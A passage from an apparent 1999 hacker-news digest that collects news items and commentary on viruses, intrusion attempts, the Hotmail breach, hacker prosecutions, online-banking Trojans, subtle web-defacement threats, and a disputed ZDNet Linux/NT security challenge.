by default to scan all downloaded files, but earlier versions didn't, Trilling said. In the past few days, Symantec received four submissions of the Freelink virus and six emails asking about it. "While not overwhelming, this is certainly indicative that the virus is still very much alive 'in the wild,'" Trilling said. The Melissa virus, which emerged on March 26, used a combination of Microsoft Word macros and Microsoft Outlook. Users would receive a disguised file, which contained a list of 80 pornographic Web sites. People who opened the file launched the virus, which then sent it to many people on the address list stored in Outlook. The self-replicating nature of the virus led to email traffic clogs around the world as massive numbers of messages were sent as a result of the virus. Although Melissa itself did not attempt to corrupt files inside computers, later copycat versions did. Roughly a week after Melissa emerged, authorities arrested the man suspected of starting the virus. The suspect, David Smith, admitted in court papers to have spread the virus using a stolen AOL account. @HWA 10.0 L0pht Heavy Industries Exposed ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ From HNN http://www.hackernews.com contributed by Weld Pond What exactly happens at L0pht Heavy Industries? Why do they do what they do? Why so many different flavors of Cheez-Its in the cupboard? New York Times Magazine - Free Registration Require http://www.nytimes.com/library/magazine/home/19991003mag-hackers.html (*This appeared in last weeks issue) @HWA 11.0 ASX Claims Attacked by US Military ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ From HNN http://www.hackernews.com contributed by turtlex The managing director of the Australian Stock Exchange claims to have traced attempted cyber break-ins to a United States military installation. The director said that break in attempts happened against the site every day but that none where able to get past the first of a series of fire walls built to protect the system. Asia Yahoo http://asia.yahoo.com/headlines/041099/technology/939030660-137212.html Yahoo News http://au.dailynews.yahoo.com/headlines/041099/ttalkap/938991600-202072087.html Sydney Morning Herald http://www.smh.com.au/news/9910/04/national/national10.html Australian Stock Exchange http://www.asx.com.au/ Asia Yahoo; SYDNEY, AUSTRALIA, 1999 OCT 4 (NB) By Adam Creed, Newsbytes. Hackers traced to a US military installation attempted to break into the Australian Stock Exchange's (ASX) computer database, according to local media reports.Richard Humphry, managing director of the ASX, said the attack failed and the ASX contacted the Australian Defence Department immediately, speaking on television on Sunday. He was told that it was not an "official" attempt by the US military to breach the system. Humphry said there had been a number of attacks on the system, with "amateurs trying fairly frequently" to gain access, although none had made it past the first of the ASX system's multi-layered firewalls. Yahoo news; Monday 4 October 9:00 AM ASX a target in break-in attempts An attempt has been made to break into the Australian Stock Exchange (ASX) by computer hackers. This has been traced to a United States military installation, ASX managing director Richard Humphry said on 3 October 1999. In an interview with the Nine Network's Business Sunday program, Humphry said the hackers could not break into the ASX site but had broken into another site instead. He had contacted the Defence Department for advice. Another serious break-in attempt came from Victoria and the Federal Police has been called in. He said there were plenty of attacks on the ASX site but none could pass through the first of a series of fire walls built to protect the system Sydney Morning Herald; Australian Stock Exchange foils US hackers Computer hackers from a United States military installation tried to break into the Australian Stock Exchange's database, its managing director, Mr Richard Humphry, said yesterday. Mr Humphry said authorities were notified after the hackers from the US military installation tried to break into the site and "broke into another site to achieve that objective". "We were able to trace that back to another country and to an installation that was associated with military activities and accordingly we contacted the Defence Department and asked that they advise us of the likelihood that this country was attempting some form of attempted break into our database," Mr Humphry told the Nine Network's Business Sunday program. He said he had received an assurance that there was no possibility of the attack being an official attempt to breach the ASX's security arrangements. Business Sunday said it understood the attempt came from an air base in a western US State. Mr Humphry said he took the attempt seriously. "I wrote to the Secretary of Defence about it, and asked him to contact the defence and signals division to advise me," he said. He said another serious attack came from Victoria. Mr Humphry said on this occasion the Australian Federal Police were called. "The Federal Police did not lay charges because they have to actually catch people in the act. But again the attempts ceased immediately," he said. It was difficult to prosecute suspects under existing laws and he had urged the Federal Government to improve the system. "I've written to the Attorney-General about that. There is a definite need for an upgrading of our legislation to allow for the capacity to both properly trace calls and to prosecute electronic penetration if it's illegal," he said. Mr Humphry said the Government had acknowledged there was a need to upgrade laws but said he had yet to receive any advice of action being taken. Of the "plenty of attacks" on the ASX computer system, Mr Humphry said none had been successful, with "amateurs trying fairly frequently". "We build multi-layered firewalls," he said of the ASX security strategy. The hackers had not been able to pass "through the first wall". - AAP @HWA 12.0 Microsft Clears Self of HotMail Breach ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ From HNN http://www.hackernews.com contributed by Weld Pond A study commissioned by Microsft has cleared them of any fault in the recent HotMail security breach. The breach was caused by a 'software glitch' that left HotMail users vulnerable for up to 65 hours. The report was conducted by one of the 'Big 5' auditing firms but has not been released. (If I was the judge at my own trial I'd clear myself too.) ZD Net http://www.zdnet.com/zdnn/filters/bursts/0,3422,2347621,00.html ------------------------------------------------------------ This story was printed from ZDNet News located at http://www.zdnn.com If you would like to receive ZDNN's free newsletter, which keeps you up to date on the latest tech happenings, simply send a message to zdnn_news-on@lists.zdnet.com and you will automatically receive a free sample. ------------------------------------------------------------ 05:11p Microsoft touts Hotmail investigation Microsoft Corp., along with privacy auditor TRUSTe, announced the results of an "independent" investigation (commissioned by both companies) into whether Microsoft could be blamed for the August 30 security breach in its Hotmail service. According to the company, Microsoft left the breach -- caused by an bug in a software update -- open 65 hours, leaving e-mail accounts open to any knowledgeable user. The "Big 5 accounting firm" that authored the report was not revealed by either company, but Microsoft said the report exonerated the software giant of any fault. -- Robert Lemos, ZDNN @HWA 13.0 TISC I/O Lab to Showcase Security Tech ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ From HNN http://www.hackernews.com contributed by Bill The Internet Security Conference (TISC) once again will host the TISC Interoperability Lab, a live network that demonstrates how organizations can combine multi-vendor solutions to create a secure enterprise environment. The Interoperability Lab will be open to all TISC attendees October 12-14 at the World Trade Center in Boston, Massachusetts. (As press releases go this one was pretty dry but this lab looks like a lot of fun.) The Internet Security Conference http://tisc.corecom.comhttp://tisc.corecom.com @HWA 14.0 Web Anonymizing Tests Released ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ From HNN http://www.hackernews.com contributed by Richard Worried that your Web Anonymizer isn't working? Try out these pages which contain about a half dozen different tricks a web site can use to grab your info. If your paying to be anonymous you should check this out. You may be surprised. Anonymizing Tests http://www.tiac.net/users/smiths/anon/test.htm Anonymizing Info Web Anonymizing Tests Released http://www.tiac.net/users/smiths/anon/index.htm @HWA 15.0 CyberCrime Prosecutor Moves to Private Practice ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ From HNN http://www.hackernews.com contributed by Weld Pond David Schindler, who prosecuted Kevin Mitnick, Kevin Poulsen, and Justin Peterson, is moving on to private practice. He has accepted a partnership with the Los Angeles law firm of Latham & Watkins where he will handle intellectual property and other computer related cases. ZD Net CyberCrime Prosecutor Moves to Private Practice http://www.zdnet.com/zdnn/stories/news/0,4586,2345388,00.html -------------------------------------------------------------- This story was printed from ZDNN, located at http://www.zdnet.com/zdnn. -------------------------------------------------------------- Schindler heads toward life post-Mitnick By Lisa M. Bowman, ZDNN October 3, 1999 2:09 PM PT URL: LOS ANGELES -- Assistant U.S. Attorney David Schindler's drab 11th-floor office at the federal courthouse belies his status as the man who put the most notorious hackers of the '90s behind bars. In the middle of the cramped space sits a brown desk stacked neatly with documents. Chalky beige blinds hide the view (though all he'd see is cars crawling along down below on Highway 101). Dull yellow, government-issued file cabinets line the walls. But a closer look at the Post-it notes tacked to those file cabinets reveals that this office isn't your ordinary bureaucratic digs: Scribbled on the notes in big black marker are such names as Symington and Mitnick. That's Symington, as in Fife Symington, the former Arizona governor convicted of bank fraud charges two years ago. And Mitnick, as in Kevin Mitnick, the now-jailed hacker whose antics landed him on the FBI's most-wanted list. Because of his work on those cases and others, Schindler's about to get a plush new office. This month, Schindler, 37, is leaving his life as a prosecutor and settling into a swank new workplace as partner at the law firm of Latham & Watkins. Behind him, he leaves a legacy that includes not only bringing down a governor, but also locking up the most high-profile hackers yet to hit the computer industry. At Latham's offices, housed in a sleek glass building that towers over the rest of downtown L.A., Schindler will tackle intellectual property, internal investigation, and other computer-related cases. Seeking new challenges Schindler says he's leaving because after 10 years in the federal prosecutor's office, "it was time to do something different. It sort of got to the point where I realized I wanted some new challenges and a change of venue." The wrap-up of the first phase of the Symington trial (the conviction has been overturned on appeal, and the case is still moving through the courts), followed by the end of the Mitnick case in August, marked a sort of graduation for Schindler. "It was a turning point, and there were a lot of offers," he said. Which isn't surprising, considering Schindler's prominence as a prosecutor of cyber criminals. Schindler began tracking hackers back when they were nearly mythical figures, straight out of movies such as War Games. Busting the big three This was before the spread of the Web enticed a bevy of hackers to break into a new government site every week, before hundreds of wannabe hackers known as "script kiddiez" piggybacked on the skills of others to wreak havoc online. Schindler was first introduced to the hacker world in 1990, when he was assigned to supervise the investigation of Kevin Poulsen, an L.A. hacker who had been on the run from authorities in Northern California, and then started committing crimes in Southern California. Following Poulsen's capture in Los Angeles, Schindler negotiated a plea bargain that included a 51-month sentence for rigging local radio station contests to win prizes like Porsches and vacations. Schindler then went on to handle the cases of hackers such as Mitnick, sentenced to 46 months in prison for stealing code from tech companies including Sun Microsystems Inc.; and Justin Petersen, sentenced to 41 months for conspiring to wire $150,000 from a California bank. Under plea bargains with Schindler, the trio served jail terms longer than any prior hackers had seen. While Mitnick couldn't be reached for comment, Poulsen speaks with a guarded respect about the man who put him behind bars. "It's not personal," he said of Schindler's pursuit of him. "I'm not a big fan of federal prosecutors in general, but what more can you ask for than to only be charged with crimes you actually committed?" he said. Before Poulsen's capture in Los Angeles, another prosecutor in Northern California had accused Poulsen of espionage and other serious crimes, charges that were later dropped. These days, instead of hacking into secure systems, Poulsen writes for publications including ZDNet, goes dancing, and has taken up origami. Tightly folded paper boxes are placed on shelves throughout his house. He's also studying the Perl and Java programming languages, and he keeps a coffee mug on his desk that says, 'If I learn any more, I'll be a threat to national security.' (He found the mug at a second-hand store shortly after his release). Grudging admiration In turn, Schindler seems to have a reserved admiration for Poulsen's understanding of law enforcement and counter-surveillance techniques, techniques that allowed him to evade capture for a year and a half. "There was certainly a part of it that made you smile," Schindler said. "It was clever, but it was wrong." Schindler said he's proud of the way Poulsen's turned his life around, but he doesn't have the same hopes for Mitnick, who's still behind bars. "You like to be optimistic, but he's a recidivist," Schindler said. "Every time he's had the opportunity to walk the straight and narrow, he hasn't." Schindler seems on the fence about future prospects for Petersen, who was recently released from jail and reportedly plans to run an Internet porn site. "He certainly has the ability to live a moral life," Schindler said, adding that he hopes Petersen doesn't go back to hacking. "(Hacking) is a waste of his time -- he certainly knows better." Similar to those he busts? David Schindler can be very much like the hackers he's prosecuted. He possesses a furious attention to detail and a bulldog-like tenacity that's led him to scribble drafts of indictments in crayon on butcher-block paper while dining with colleagues. "He'd tear off half the table cloth and take it with him," said Assistant U.S. Attorney Jeffrey Isaacs, who worked on the Symington trial with Schindler in Arizona. The pair would often dine at the Macaroni Grill in Scottsdale during that case, and Schindler wouldn't let the case go, even for an hour. Like hackers who code away late into the night, Schindler finds it hard to pull away from his work. While handling the grueling Symington investigation, Schindler also wrote versions of the Mitnick indictment. "If Dave has a drawback, it's his difficulty delegating things," Isaacs said. "He will not settle for anything less than he would do himself." But in other ways, he's very different from the hackers he pursues. Schindler, who's married and has a young daughter, is not particularly technical -- purposefully so, in case he has to explain complicated matters to judges or juries. And while hackers thrive in a world of bluster and bravado -- often bragging about and even exaggerating their latest exploits -- the lanky, curly-haired Schindler doesn't actively seek the spotlight. When confronted with it, he raises his thick black eyebrows and shrugs. His demeanor is defined by a subtle, unflappable confidence. He also can endure irritations, such as arduous investigations and scorching Arizona summers, that would drive most people over the edge. During the Symington case, he hopped a plane to Phoenix every Tuesday morning and returned every Thursday night. Flying coach Worse, Isaacs said, the pair flew Southwest Airlines. That meant a weekly ritual of clutching brightly colored plastic boarding passes and joining the cattle call of people vying for choice seats on the plane. "No matter how bad it got, Dave never complained," Isaacs said. Friends say Schindler's not a stereotypical prosecutor, the tunnel-visioned lawyer who'll doggedly pursue even those cases that have little merit. "He's guided by the principle of doing the right thing," said Karen Lash, associate dean of the USC Law School, and a friend of Schindler's since the first grade. "He's a zealous prosecutor when he believes that's appropriate. If he's got a weak case, he'll let go of it." Schindler himself said his politics are as well-suited to being a public defender as a prosecutor, but it's unlikely he'll be representing accused hackers anytime soon. First, he doesn't think they'd want him -- though Poulsen disagrees. Second, even if they did want him, hackers probably couldn't afford him in his new role. A new view Schindler, who holds an undergraduate degree from UC Berkeley and a law degree from UCLA, wouldn't comment on his new salary, but friends estimated he'll at least double, if not triple, his $115,000 prosecutor's pay. According to a 1999 survey by American Lawyer magazine, Latham & Watkins ranked fourth out of the top 100 law firms in total revenue in its 1999 survey. Schindler said he's going to miss the prosecutors' office, especially working with other agents and lawyers, and representing the U.S. for a living. But he's also looking forward to the intellectual challenge of representing cutting-edge clients such as America Online Inc. (NYSE:AOL) and Apple Computer Inc. (Nasdaq:AAPL), and the chance to work for a posh firm with an extensive library and support staff -- a firm that just might let him fly first class. @HWA 16.0 Home Banking Weaknesses Begin at Home ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ From HNN http://www.hackernews.com contributed by Weld Pond The rush to give consumers online banking has also left them vulnerable. It is extremely easy to install a Trojan Horse and take control of not just your PC but also your bank accounts. Banks say that this is not their problem, but then they get to write off any losses so they really don't care. MSNBC http://www.msnbc.com/news/318015.asp (This show aired on Dateline, you would expect it to be at nbc.com/dateline but for some silly reason they put it where no one can find it over on MSNBC.com. Go figure.) Home Banking Weaknesses Begin at Home Protecting your money How safe are your checks from fraud? NBC News Oct. 3— You know the drill by now. You destroy credit card carbons and are very selective about giving your card number over the phone. Well perhaps you should be protecting your checks even more carefully. Welcome to the world of finance in the computer age. How can you protect yourself from check fraud? Free Computer Security Check: Internet Security Systems CERT Coordination Center: Internet security vulnerabilities Cybercrime: Know the risks ICSA: Internet Security standards, certifications Federal Trade Commission THE FACT IS check fraud hurts millions of businesses and individuals every year—up to $15 billion a year, according to government and banking industry statistics. In the computer age, it doesn’t take a genius to be a master thief. And if a counterfeiter is able to cash that check, unlike with credit cards where the law says you’re only responsible for the first $50 of loss, with check fraud the rules are less consumer friendly. “If you exercised ordinary care and you reported it immediately, we’re going to reimburse you most of the time,” says Lisa Wilhelm, a former senior vice-president at Wells Fargo Bank. She says its really up to the bank whether or not people get their money back. “There is absolutely no guarantee,” she says. “It depends on whether or not you exercise ordinary care. Did you keep your checks in a safe place? Did you look at your statement when it came and report the unauthorized transactions to the bank immediately?” Banks do have explicit rules requiring new customers to present at least a government issued ID to open an account. But forgery detectives say con men and women often count on a banker’s reluctance to offend a new customer by sticking to those rules. But even if a crook steals and alters your checks, or gets your account number and prints new ones, you might think, you are protected by your signature. But U.S. banks process a breathtaking 17 billion checks a year using high-speed automated readers. And with few exceptions, signatures are not always looked at as Dateline found out in its recent investigation. The onset of online banking will pose a new set of risks. By the end of next year, almost 20 to 30 million Americans are expected to use their PC’s to access their accounts. A recent General Accounting Office report to congress criticized banks for maybe moving too fast. The GAO says nearly half of the institutions it surveyed have yet to take steps the government thinks are needed to limit online banking risks. Although the GAO found no recently reported losses, bankers admit, consumers do need to be wary. “For every new technology that emerges, we also have criminal behavior that follows that,” says Catherine Allen, head of BITS—Banking Industry Technology Secretariat—funded by large banks. She says it’s a kind of SWAT Team against fraud. Where does the problem lie with online banking as far as being able to steal your account? Allen says, “It’s going to happen at the PC or software level with a customer’s PC if it does occur.” Similar to computer viruses, they are called Trojan horses and there are many ways you can be attacked by one. A Trojan Horse is basically a program which is disguised to do something sort of innocuous, like it’s a little game program or it’s a greeting card program. But instead, while the innocuous thing is going on in your computer, something more nefarious is going on. The sort of payload of the Trojan horse program is something that can take control of your computer, can read your files, read your keystrokes some of them can even send them over the Internet to someone controlling it from far away. They can steal your bank account numbers, says Special Agent Mary Riley, an expert on electronic financial fraud with the U.S. Secret Service. “The person who’s installed that program can actually take complete control of your computer system. They have full access to all data located on your computer or any computers that are networked into your system.” Banks say it’s important to know how they come to you and how to protect yourself. There are things you can do to protect your accounts. LOOK AT STATEMENT When you get a statement, actually check it carefully for problems. PROTECT YOUR PRIVACY Destroy or shred sensitive documents so crooks can’t use them. USE ANTIVIRUS SOFTWARE For online banking, it’s important to use antivirus software and update it frequently. NOTIFY YOUR BANK Remember, if you find a problem, contact your bank immediately. You can be more easily stuck with discrepancies reported after 60 days. IS YOUR COMPUTER VULNERABLE? Click here for a free security check from ISS (Internet Security Systems) to see if your home computer is vulnerable to thieves. https://dateline.epatrol.com @HWA 17.0 Subversion of Information ~~~~~~~~~~~~~~~~~~~~~~~~~ From HNN http://www.hackernews.com contributed by Ender Wiggin What is the absolute worse consequence of hackers on the Internet? Defacing high profile sites? Deleting a dozen machines effectively shutting down an entire business? Flooding subnets and denying access to an ISP of five thousand people? None of the above. It's Subversion of Information (SoI) attacks -- the modification of information. Aviary Mag http://www.aviary-mag.com/Martin/SOI_Attacks/soi_attacks.html Subversion of Information Attacks 9/3/99 Brian Martin OSAll Staff [Editor´s Note: From now on Martin´s articles will appear on Wednesday of every week.] The Real Threat What is the absolute worst consequence of hackers on the Internet? Defacing high profile sites? Deleting a dozen machines effectively shutting down an entire business? Flooding subnets and denying access to an ISP of five thousand people? None of the above. One of the above threats touches on a much more sinister threat some hackers may pose to the Internet today. Unfortunately no one has the ability to say "at least it hasn't happened yet" because the nature of this threat prevents us from knowing. When it is discovered media outlets will reel in shock, stumbling over themselves trying to comprehend and report the full implications of such a beast. That threat is what some people call a 'Subversion of Information' (SoI) attack. It is a style of web defacing that leaves no obnoxious 'elite speak', doesn't consist of poorly written rants about unrelated topics, nor does it warn anyone that an intrusion has taken place. I for one have no doubt it has occurred in a limited fashion at some point in recent history, yet no one can cite a specific example of it. The concept of the attack is simple. An intruder on a web server has the ability to edit any file on the system. Most defacements we see are bold and brazen, leaving no doubt the page was altered. A handful of these defacements actually use the base design of the original web page for their alteration. If these intruders were to take it one step further, they could make subtle alterations to the page that may not be noticed until serious and qualifiable damage has occured. Serious Repercussions Without a solid case history to build on, it is difficult to assess the full damage that can be done with a well executed Subversion of Information attack. At this point, we can only go by speculation and well founded examples based on the information available to be altered, and how people react to it. The first and most often discussed SoI attack centers around large media outlets. Looking at sites like ABC News, Wired and the New York Times (all defaced in the past), an obvious attack becomes apparent. What if intruders were to make subtle changes to various stories without being noticed? Editors at Wired could find out when lawsuits are leveled at them for libel. Staff at ABC could be forced to print numerous retractions calling their integrity into question. The New York Times might find themselves supporting ultra radical militia groups that they denounced a day before. Security professionals typically bring up the obvious threat of financial manipulation. What if a single stock price was altered on a site catering to investors? A price dropped just a few dollars long enough to make a sound investment from a company. Shortly after, popping the price up a few dollars higher than the real market value. While these events are unlikely to occur because of various failsafes, they could lead to massive chaos for investors trying to handle the request for buying and selling. Another subtle but highly profitable attack could come in the form of sites with banner ads or reseller programs. OSALL is a reseller of Amazon books. By linking to them to share resources, Amazon is able to track these links and kick back a very small profit to OSALL in return for book sales made through them. Rather than getting a check for one hundred dollars every year, what if the Amazon site was altered so that every fourth link automatically credited OSALL regardless of where the link came from? The next year would be highly profitable to say the least. In the future If any serious SoI attacks have occured to date, there has been little to no media attention surrounding them. That, or no one has noticed such an attack yet. That begs the question of how you would recognize this type of attack if it were to occur. The trick is having a source to verify information on one site from another. Since this attack could affect any site on the net, that leaves us comparing magazines and papers to web sites. Kind of defeats the purpose and convenience of a web site. Adequate internal security and auditing would be a good start. Knowing that a company goes under intense certification and auditing at periodic intervals is definitely reassuring. But even then, what if an intruder slips by the defenses in between audits? Mechanisms like strong Intrusion Detection Systems (IDS) need to be in place. Not only would they detect an intruder and hopefully boot him off, they would monitor the integrity of the pages or information they protect, ready to rewrite a page with the original information if necessary. We have hopefully been lucky so far. Mostly inexperienced kids running canned scripts against web sites, uploading their own pages for bragging rights. The serious intruders may enter and exit your system a dozen times a day completely undetected. How do you know they didn't change your product's price to eight cents, forcing you to honor advertised prices? Perhaps they changed some other bit of information that hasn't been detected. This is just the beginning. Subversion of Information Attacks 9/3/99 @HWA 18.0 SAGE Offers Impenetrable Server and Kills Word "Hacktivist' ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ From HNN http://www.hackernews.com contributed by Code Kid Systems Advisory Group Enterprises, Inc. has released a press release that basically defines 'hactivists' as script kiddies and web page defacers. Not only have we lost the word 'hacker' to the media we may also loose 'hacktivism'. Oh, and they say their 'new revolutionary' Linux-based Web server is 'impenetrable'. They will be at Fall Internet World (booth #3409), why not stop by and tell how you feel about their mangling of words. Or better yet send them a nice email. PR Newswire - Press Release http://library.northernlight.com/FB19991004480000132.html?cb=0&dx=1006&sc=0#doc Systems Advisory Group Enterprises, Inc. http://www.thirdpig.com/ SAGE DEMONSTRATES IMPENETRABLE WEB SERVER SECURITY APPLIANCE INDUSTRY TRENDS SHOW SECURITY BREACHES ON THE RISE Story Filed: Monday, October 04, 1999 9:27 AM EST New York, Oct 4, 1999 /PRNewswire via COMTEX/ -- The White House, NASA, and the US Senate are just a few of the Web sites that have been hit by hacktivists this year. Hacktivism is the means of electronic civil disobedience. According to a 1999 survey by the Computer Security Institute and the FBI, the average network is hit by a hacktivist 15-20 times each year. In an effort to stop hackers from committing Web site invasions, Systems Advisory Group Enterprises, Inc. (SAGE) has pioneered an alternative Web server security appliance that will revolutionize Internet security. SAGE will demonstrate its product, BRICKHouse, to the Internet community at Fall Internet World (booth #3409). BRICKHouse is a highly scalable Linux-based Web server that raises the standard on Internet security by incorporating an innovative approach to security called Process-Based Security (PBS). This unprecedented level of security will give organizations running or hosting e-commerce, educational or government Web sites the confidence to know that while "law-be-damned" hackers may still try to infiltrate and take over their sites, PBS provides a proven bullet-proof solution to keep their Web sites operating. BRICKHouse is designed to meet the needs of organizations that want to secure their Web sites and subsequent proprietary information from unauthorized access. Security threats continue to increase as organizations provide external access to internal systems via the Internet for mission- critical applications. Since 1998, over 2,000 corporate and private Web sites have been hacked. "The vulnerability of user-based security is making headlines on a daily basis as hackers continue to wage war against corporate and government sites," said Vincent Larsen, SAGE's president and chief technical officer. "Security threats from the Web and the Internet will not decline until private and public organizations make security a high-level priority." The Computer Security Institute report finds that system penetration by outsiders increased from 27% in 1998 to 54% in 1999, unauthorized access by insiders rose from 36% in 1998 to 59% in 1999, and the financial losses due to computer security breaches mounted to over $100 million. With security threats on the rise and insurmountable financial losses, organizations need to continually evaluate their computer security systems. "As enterprises increasingly depend on Web sites to drive business growth and information sharing, BRICKHouse's PBS model will enable companies to fully leverage the power of the Internet, without fear that the security of their Web site has been compromised by hackers and viruses," said Larsen. PBS was designed on the premise that people don't delete files, processes do. Unlike current user-based systems where security is designed to give access to resources based on an identified user, PBS provides access to resources based on the currently running process. As the program runs on the system and requests access to resources, its security profile is checked to determine whether the resource can be made available. The operating system is not concerned with who initiated the program, only what the program wants. BRICKHouse's "Access Denied" message will greet all unauthorized requests for resources. About BRICKHouse The PBS-based BRICKHouse Web server includes a custom Remote Administration Program that allows the system administrator to perform tasks safely and securely from anywhere on the Internet. While other security models include some remote access functionality, the vulnerabilities of their conventional remote administration are easily discovered and exploited. In the BRICKHouse model, access is denied to any program that could bring down the server. Even though the server remains running, there is nothing that can coerce it. The Custom Remote Administration offers a minimum of 128 bit encryption and can reach 256 bit when logging on and integrates with Windows 95 interface. Other features in BRICKHouse include selective WAN (wide area network) mail services that give specified users access to the server to send e-mail from remote locations, a Customer Gateway Interface (CGI) server-side programming, and SMTP anti-spamming that restricts access to the mail server from unauthorized users. BRICKHouse starts at $2,795 and will be commercially available in October. Pre-orders will be taken at the show, booth #3409. About SAGE Systems Advisory Group Enterprises (SAGE) is the Amarillo, Texas-based developer and marketer of BRICKHouse, a bulletproof, Process-Based Security (PBS) Web server designed to protect Web sites from the onslaught of hackers and viruses. BRICKHouse's PBS feature is an innovative approach to security where access to resources is based on the process running and not the user. For more information on SAGE and BRICKHouse, please visit their web site at www.thirdpig.com. All company and product names may or may not be trademarks or registered trademarks of their respective companies. SOURCE SAGE (C) 1999 PR Newswire. All rights reserved. http://www.prnewswire.com CONTACT: David Smith of Rainier Corporation, 978-464-5302, ext. 121, dave@rainierco.com, or Rhonda Barreras of SAGE, Inc., 806-354-8185, rhonda@sage-inc.com WEB PAGE: http://www.rainierco.com http://www.thirdpig.com GEOGRAPHY: New York INDUSTRY CODE: CPR FIN MLM Copyright © 1999, PR Newswire, all rights reserved. You may now print or save this document. Money Back Guarantee If you buy an article and you are not satisfied with it, let us know and we will refund your money - no questions asked. Please press the "Money Back Guarantee" link for additional information about this policy. Portions of above Copyright © 1997-1999, Northern Light Technology LLC. All rights reserved. @HWA 19.0 19yr old Sentenced For AOL Break In ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ From HNN http://www.hackernews.com contributed by evilwench Jay Satiro, 19, admitted in court that last March he broke into America Online. The damage he caused is estimated at $50,000. He has pleaded guilty in Westchester County Court to first-degree computer tampering. This crime carries a maximum sentence of up to 15 years in prison. It should be noted that he once worked as an AOL volunter and used his inside knowledge while committing his crimes. ABC News 19yr old Sentenced For AOL Break In http://www.abcnews.go.com/wire/US/ap19991005_1581.html Teen pleads guilty to breaking into AOL computers WHITE PLAINS, N.Y. (AP) _ A teen-age hacker admitted in court Tuesday that he broke into America Online's internal computers from his bedroom and altered programs. Jay Satiro, 19, pleaded guilty in Westchester County Court to first-degree computer tampering. He could be sentenced to up to 15 years in prison. In March, police showed up at Satiro's home and took him and his computer into custody after AOL detected the intrusion, traced it to Satiro and notified the district attorney's office. The criminal complaint said damage Satiro did to AOL would cost more than $50,000 to repair. Satiro had once worked as a volunteer at AOL technical support and "combined his AOL knowledge with other information that he had gathered from other hackers," the district attorney's office said Tuesday. @HWA 20.0 ZD Net Admits To Favoritism in Security Challenge ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ From HNN http://www.hackernews.com contributed by evilwench ZD Net has admitted to rigging a recent challenge to break in to a NT and Linux box. The test conducted for PC Week attempted to find which was the more secure operating system. ZDNet Labs has revealed that they deliberately neglected to apply 21 different security patches to the Linux system, including the one used by the person who broke the Linux boxes security. And people wonder why we label these challenges as publicity stunts. Linux Today ZD Net Admits To Favoritism in Security Challenge http://linuxtoday.com/stories/10767.html ZDNet Admits Mistakes in Recent Security Test Oct 4, 1999, 23:19 UTC (114 Talkbacks) (Other stories by Arne W. Flones) [ The opinions expressed by authors on Linux Today are their own. They speak only for themselves and not for Linux Today. ] By Arne W. Flones Regarding the recent Hacker Shootout, ZDNet Labs today admitted that they deliberately ignored an embarrassing 21 security upgrades to one of the two systems under test. (See PC Week: CGI script opens door) In this alleged test of security, ZDNet Labs invited "hackers" [sic] to try to break into two different computers, one running Windows NT and one running the Red Hat distribution of Linux. This came on the heals of August's similar battle between Windows NT and an Apple-based Linux distribution which drew a lot of publicity. Under criticism from the Linux community for the lack of objectivity in the test, ZDNet's director, John Taschek responded, [The test] was designed and put together by PC Week for the purpose of testing security implementation. We don't care which operating system (if any) is broken into first. We want to establish the basis for a story on the best practices for implementing security. And later he said, We don't care who wins or loses--in fact we're not looking to report a winner or loser. Just on implementations. In spite of continued protests, the test proceeded and on September 24 the Linux site was cracked using a combination of a weakness in Web programming and a security hole in a program called crond, part of every Linux installation. When the method used by the cracker was revealed, it was immediately apparent that both of the security holes could have easily been closed. The first hole, within a type of World Wide Web program called a CGI script, could have been avoided by paying closer attention to security when writing the script. This hole had nothing to do with Linux, but was in a separate application. The second hole had been publicly revealed in August by Red Hat, the distributor of the Linux system under test. Although ZDNet labs might have inadvertently slipped up on the first hole, they would have certainly known about the second. The cracker used both holes to crack into the system. Today, ZDNet Labs revealed that they deliberately neglected to apply some 21 different recent security patches to the Linux system, including one used by the cracker to gain access to the Linux server. It is this admission that has raised the hackles of knowledgeable computer users, security experts and the Linux community. As the source instructions which make up Linux are freely available to anybody who wants them, there are no reasons to wait to make security changes available to the public. So this number of security patches are common in the Linux world. As soon as a security hole is found, it is quickly patched and the fix is immediately posted to the public forums on the Net. The ability to look at all the source instructions enables anybody to verify the correctness of the patch. Typically, a program to exercise the exploitation is available as well. This dramatically reduces the risk in applying these patches. The scope of the changes is very narrow and is very easily tested in isolation. Therefore, with a small effort, and in a very short time, an IT manager can know the impact the patch will have on her all important systems. The result is that the patch can be applied quickly and with the assurance that nothing will break but the cracker's ability to compromise the company's data. This is very unlike the Windows NT world, where Microsoft keeps all the source instructions secret. Microsoft Windows, by nature of its proprietary design, must withhold security information and release the fixes all at once in a larger, less frequent, service release. The policy of security through obscurity is arguable. But the impact of fixing security holes with an infrequent and all encompassing software upgrade is not. It can make testing a nightmare because individual fixes are not testable in exclusion of other changes. And, since Microsoft lumps the many security fixes with other, general improvements, adding a Microsoft service release enterprise-wide is a very, very risky affair. One never knows what will break. Therefore, the rules of the game are very different for Windows than they are for Linux. ZDNet Labs conveniently ignores this fact. ZDNet's response to the charges of the unfairness of omitting the 21 security patches was that enterprise businesses would not want to apply 21 individual fixes and that most large companies would prefer the one large, sweeping-in-scope, fix. ZDNet provides no basis for this absurd claim. Their claim goes against common practice in the industry and it is against common sense. It is only in the Microsoft world where an untestable, monolithic software release is preferable to a few much smaller, and manageable, perturbances. Nota bene: ZDNet's objection to the the 21 easily audited and tiny patches didn't prevent ZDNet Labs from hypocritically applying Microsoft's latest huge service release for Windows NT in time for the test. ZDNet's claims are unsupportable. Not only was ZDNet Labs responsible for allowing the installation of a flubbed CGI script which allowed the cracker to peek into the Linux system, they were negligent in ignoring 21 known security holes. Their admission today that they deliberately chose not to apply these patches has tainted their test. They knew that every cracker would look first at these 21 cricks in Linux's armor. No wonder it only took a few days for the Linux system to be cracked. ZDNet's incompetence assured it. This comes as close to professional malfeasance as I have ever seen. With today's knowledge it is impossible for ZDNet to claim even vestigial objectivity. With what we now know of this affair, to continue the charade would be an injustice. @HWA 21.0 CyberWarriors Could Have Cut Kosovo Campaign 